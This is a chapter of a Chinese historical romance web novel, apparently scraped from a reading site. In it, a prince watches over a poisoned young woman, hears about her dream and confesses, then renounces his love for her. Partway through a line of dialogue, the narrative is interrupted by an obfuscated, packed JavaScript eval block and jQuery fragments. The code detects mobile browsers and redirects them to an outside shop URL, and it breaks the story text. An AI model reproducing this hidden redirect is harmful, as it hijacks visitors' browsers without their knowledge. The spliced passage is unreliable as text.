44. 第 45 章

作品:《大王,封口费交一下

    殷流光觉得自己应该是在做梦。


    不然,为什么自己明明已经私逃出家门,成了长安鬼市的狸珠娘子,又怎么会在此时此刻变成年幼的女童,被仆人抱着上街观灯。


    大姐姐和三姐姐还有二哥都跟着母亲去了外祖父家,他们热热闹闹地出门,收拾礼品,忙里忙外。


    到最后出府的时候,竟然把她忘在了家中。


    按理说,她也该随母亲去外祖父家提前拜年的。


    虽然母亲不是她的亲生母亲,外祖父也跟她毫无血缘关系,但每年这个时候,是她难得的可以得到家人温语关怀的时刻。


    她早就已经穿戴整齐,乖乖地坐在院子里的门槛上,等着母亲遣人来唤。


    只是没想到,今日他们如此匆忙,竟然将自己忘了。


    从前侍奉阿娘的老仆怕自己孤零零的伤心,为了哄她,便偷偷带着她从后门溜去街上赏灯。


    元夕这几日,金吾不禁,是难得的可以在夜间游玩的时候。


    鲤鱼灯、螃蟹灯、仙人灯……一盏盏明晃晃亮灿灿的灯从她眼底掠过,她只觉得新奇有趣,伸手去拨弄。


    可是还没碰到,就被摊贩挡住了:“小娘子,你不买的话可别碰啊,我这灯都是用蜀地的新绢做的,洁白脆弱得很,人人都摸来摸去,摸脏了我还怎么卖?”


    她讷讷收回手,埋头在老仆人的胸膛上,瓮声瓮气道:“我不看灯了,我要回家。”


    可是仆人的胸膛却传来十分熟悉的味道,她努力嗅了又嗅,才想起来这股沉缓如新梅初雪的香味的名字——曲水香。


    曲水香?家中没有人用得起这么名贵的香料,更别说仆人了。


    她疑惑地抬起头,一张年轻英俊,又微微冷漠的脸就这么撞进她的眼底。


    他的眼睛生得狭长优美,鼻梁高挺,在如昼灯光的映照下,在脸颊上打下一扇阴影。


    他说:“好,狸珠,我带你回家。”


    “你不是我家仆人……你是谁?”殷流光呆了呆,伸手推他,要从此人身上跳下去。


    但成年男子的力气大得很,只是被他囚住双腕,自己就分毫都动弹不得。


    “仆人?”他的眼睛眯了眯:“我当然不是你家仆人,我是你的主人,狸珠,这是我为你取的小字,你不认得我了?”


    难道老仆说要带她来观灯,其实是要将她卖给此人做奴婢吗?


    她心中悲愤不已,发狠低头咬在他手腕上。


    “我不要跟你走!你放开我!”


    他的手腕像是铁做的一样,根本咬不动,殷流光更加愤怒,龇牙咧嘴地仰头狠狠盯着男子。


    他倒是笑了,弯腰将她放在地上,又从袖中掏出银两,买了盏狐狸模样的灯笼递给她。


    “小小年纪就这么凶,跟凝华山上的野狐狸比起来,真是有过之而无不及。”


    她没有接过那盏灯,抿起唇转头就跑。


    这人一定是人贩子,她要赶紧回家,否则一定会被抓去卖掉!


    她跑啊跑,不知跑了多久,却始终跑不出这条长街。


    四周的人还是那么熙熙攘攘,灯笼还是那么耀眼明亮……


    她忽然想起了自己是在做梦,她停下脚步,回头看去。


    长街熙攘的人群中央,商遗思已经不见踪影,只留下一盏狐狸灯,独自散发着盈盈微光。


    狂风自她心底骤起,摧枯拉朽般吹向长街,原本还繁华热闹的长街顿时变得寂静无声。


    她走上前,拾起了那盏灯。


    “你很喜欢这盏灯吧?想要的东西,为什么不敢要,反而还逃跑?”


    她抬起头,看到眼前敛眸瞧着她的人,手中的狐狸灯越发灼亮。


    “我想要殿下,可是殿下,你说要带我回家……你的家,又在哪里呢?”


    眼前的幻象默然无语。


    “这毒便没有别的解法?”


    远在天边的虚空混沌里,有模糊的声音传来。


    “我的殿下呦,此毒不知其制法,我纵然有心,也无法配置能够根治毒性的解药,若是依据症状配药,只怕是哪一味用量不当,导致这小姑娘体内毒素不尽……”


    “……知道了,你先去熬药吧。”


    脑子里昏昏沉沉的,周围一片静默。


    身旁有窸窸窣窣的声音,紧接着,她的手被一双宽大的手掌握住,轻轻摩挲着。


    梦里的曲水香香味仿佛绵延到了梦外,沉缓悠长,搅得浮生若梦,也搅得她五情六欲都像是煮沸了的粥,咕嘟嘟冒着细碎的小泡。


    “殷流光……你怎么还不醒?”


    “太医说你的毒中了有半个多月,为什么自己忍着不告诉我?”


    “我在你心里,就这么不得信任吗?”


    她闭着眼,忍不住地想要翘起唇角,她想说,殿下,关心我的那些话,是可以不用说得这么严肃的。


    身旁忽然静了片刻。


    “殷流光,你是不是已经醒了?”


    那只手抚上她额角,触碰到她微微颤动的睫毛,痒得她终于忍不住睁开了眼。


    她扭过头,瞧见一袭白色襕衫的商遗思,见她醒来,立刻放开了握住她的手。


    “感觉如何?”


    殷流光转了转眼珠,咳嗽了几声:“感觉不太好。”


    “哪里不太好?”


    她指了指自己的脑袋:“这里。”


    她盯着头顶帐子上垂下的青色穗绦,语调平平:“肯定是这里中毒太深坏掉了,不然,我方才为什么会梦到殿下你?”


    听到躺在床上的人说方才梦到了他,商遗思神色微怔,随后垂下眼帘,遮挡住其中的翻涌情绪。


    他的语气平淡:“你这症状应当只是睡得太久了而已。”


    他扶着她坐起身,将软枕靠在她身后,从身旁端来一碗一直温在小炉子上的粥,递给殷流光:“你昏迷了一日一夜,先喝点粥垫垫肚子。”


    殷流光接过,小口小口地喝着,冷不丁听到商遗思问她:“梦到什么了?”


    她“啊?”了一声,扭头去看商遗思,商遗思脸色平静,又重复了一句。


    “在你的梦里,本王是什么样的?”


    “我梦到殿下摇身一变成了人贩子,想趁着灯会人多,骗我跟你走。”殷流光想了片刻,笑眯眯道。


    “想来是宝华楼里发生的事印象太深刻,所以你才会做这样的梦。”这梦太过荒诞不经,商遗思不禁摇了摇头。


    殷流光吃粥的手顿了顿,依旧笑嘻嘻地要逗他:“做梦嘛,就是这样……不过殿下就不好奇,最后你骗到我了吗?”


    “只是一个梦而已,本王为何要在意?”


    殷流光忽然就觉得十分无趣,她本想逗逗商遗思,想问他梦里那个殿下没有回答的话,我想着醒了之后要来当面问问殿下,梦里那个殿下,到底是怎么想的。


    可是此刻,瞧着他墨色眼眸里隐忍的那些情绪,殷流光张了张口,最终放下勺子,盯着已经喝完的空碗,道:“我问了梦里的殿下一个问题,殿下没有回答,我就醒了。”


    “本想着梦中人回答不上来的问题,或许殿下也能解答……但果然是我中毒太深,脑子糊涂了,殿下这样的天潢贵胄,就算是在梦里,也怎么能当人贩子呢,那岂不是太过贬低殿下了?”


    殷流光将碗搁了回去,脸上的神情平淡了许多。


    可她没想到的是,一双手覆在了她的手上,她受惊瑟缩了一下,但那双手并没有移开。


    商遗思握着殷流光的手,他没有抬眸,就这么平平淡淡地握着,声音也没什么波澜。


    “昨天你昏迷的时候,姓刘的道士告诉我,毒素侵体,你不会那么快醒。宝华楼之事还需善后,太子那里也需要我去配合,诸事繁杂,我本该只需派婢女照顾好你即可,不必守在这里。”


    “可处理事务的时候,我却总是焦躁不安,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16986136|193637||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    什么也看不进去,只有陪在你身边,像这样握着你的手守着你,才能感到稍稍平静。”


    他顿了顿,又道:“你中毒太深,我没有带你回晋王府,而是直接上了青雾山。”


    难怪她醒来时环顾四周,心里感到奇怪,这屋子的摆设太过素朴,就算是生性简朴的商遗思,他的寝卧也不该这么朴素过头。


    商遗思握着殷流光的手继续道:“昨日你昏迷的时候,我在道观的正殿里求了一签。”


    他停顿片刻:“卜卦问神,我问的,是你我缘分。”


    纵然殷流光平日里伶牙俐齿,此时此刻也失了言语,被商遗思握住的手泛着灼热的温度,她有些不知道商遗思为何要突然说这些,是因着她方才的试探么?


    “殿下,你……”


    他瞳仁漆黑,像是要将殷流光刻在眼底:“我知道你对我并非无意。”


    石破天惊,却笃定异常一句话,殷流光目瞪口呆,喉间干涩。她不知道商遗思是这么果决的人,心如澄镜,不饰隐瞒。


    商遗思继续道:“我也知道,你生母早亡,生父忽视,嫡母不喜,在家中过得孤苦无依,所以即便你有什么喜欢的东西,在确定你能得到它之前,绝不会让旁人看穿自己的心意,所以你总是插科打诨,不止在脸上戴着面具,心里也戴着。”


    “在我面前,你也戴着。”


    殷流光有些狼狈地别过脸:“殿下,不要再说了。”


    她以为她将自己的心意隐藏得很好,那是她对自己的保护,可是何时,何时商遗思已经将她看得这般透彻了?


    商遗思略带痛苦地闭了闭眸,道:“昨日我卜的那一卦,是下下签。”


    “殷流光,我跟你是一样的,我本以为这份心意可以一直隐瞒下去,但这些日子,你我交集太多,我已经瞒不住了。”


    “你受伤,我会担心,你被人欺侮,我会愤怒,你在我面前一颦一笑,我会想要贪恋永远……这对你我来说,都并非好事。”


    “我要做的事太危险,不允许有私情……若非离我太近,你也不会被苏胥下毒。”


    殷流光睁大双眼:“我被苏胥下毒的事……你知道了?!”


    “查你这些日子都跟谁接触过,都有什么异常,并不算难。”商遗思顿了顿,将目光从交握的手上移至殷流光的眼睛。


    “你来宝华楼找我,本来是为了说这件事吧。”


    商遗思已经全都查了出来,她也没什么否认的必要:“当时情况紧急,殿下你又被公主下药设局,我便想着,等宝华楼这件事结束了再同你讲也是一样,只是没想到这毒发作得这么快……苏胥那厮竟然骗我,明明只能支撑半个多月,却告诉我可以有一个月的时间,实在可恶!”


    商遗思道:“这件事你不必担心,你的解药,我定会帮你讨来。”


    “只是我此刻想告诉你的不是这件事。”他的目光深邃如一眼望不尽的深渊,莫名让殷流光觉得悲哀。


    “我为你取小字叫做狸珠,你可知我的小字叫什么?”


    “望尘。”殷流光立刻道,看见商遗思微怔的神色,她补充了一句:“在宝华楼我们离开的时候,太子这样唤了你一声,我听到了。”


    “原来是这样。”他轻声自嘲道:“遗思、断念、忘尘……若说名字是谶语,这般孤绝无亲缘就是我的谶语。”


    他道:“距离我太近的人,都不会有好下场,我的弟妹表面上死于意外的火灾,实则是因为我在战场上引吐落惧怕,在朝堂上惹太子与广平侯忌惮,所以……才被他们联手害死。”


    他的嗓音颤抖:“我在陇幽的亲卫当日随我反叛吐落,战死十有七八。”


    “你一向最擅长保命求生,我要走的路是条一意孤行的路,所以,趁着还来得及,殷流光,不要再插手我的事了,你想要的一切,鬼市之主的位子,千金万金,我都允你。”


    “但这份情意,就让它到此为止吧。”